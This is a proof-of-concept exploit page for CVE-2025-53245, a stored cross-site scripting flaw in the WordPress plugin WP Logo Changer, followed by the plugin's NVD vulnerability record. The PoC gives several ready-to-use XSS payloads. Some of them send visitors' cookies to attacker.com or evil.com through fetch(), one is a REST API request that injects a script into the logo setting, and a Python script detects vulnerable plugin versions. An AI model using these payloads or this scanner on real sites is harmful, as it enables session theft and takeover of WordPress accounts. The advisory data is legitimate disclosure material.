CVE-2025-53245

<!-- CVE-2025-53245 PoC: Stored XSS in WP Logo Changer Plugin --> <!-- Login to WordPress admin panel, go to Logo settings, and use this payload --> <!-- Method 1: Using javascript: protocol --> javascript:alert(document.cookie) <!-- Method 2: Using img onerror event --> <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> <!-- Method 3: Using SVG element --> <svg/onload=fetch('https://attacker.com/log?c='+btoa(document.cookie))> <!-- Method 4: Stored XSS in logo URL field --> " onmouseover="alert(document.domain) " x=" <!-- Exploitation via WordPress REST API (if authenticated) --> <!-- PUT /wp-json/wp/v2/settings --> <!-- {"options": {"am_login_logo_url": "<script>fetch('https://evil.com?c='+document.cookie)</script>"}} --> <!-- Automated detection script --> import requests target = 'http://target-wordpress-site.com' # Check if plugin is installed check_url = f'{target}/wp-content/plugins/am-login-logo/readme.txt' r = requests.get(check_url) if 'WP Logo Changer' in r.text: print('[+] WP Logo Changer plugin detected') # Check vulnerable version if 'Version:' in r.text: version = r.text.split('Version:')[1].split('\n')[0].strip() print(f'[+] Version: {version}') if version.replace('.','').isdigit() and float(version) <= 1.2: print('[!] Plugin is vulnerable to CVE-2025-53245')

{"cve": {"id": "CVE-2025-53245", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:55.637", "lastModified": "2026-04-27T18:16:21.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Afzal Multani WP Logo Changer am-login-logo allows Stored XSS.This issue affects WP Logo Changer: from n/a through <= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/am-login-logo/vulnerability/wordpress-wp-logo-changer-plugin-1-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}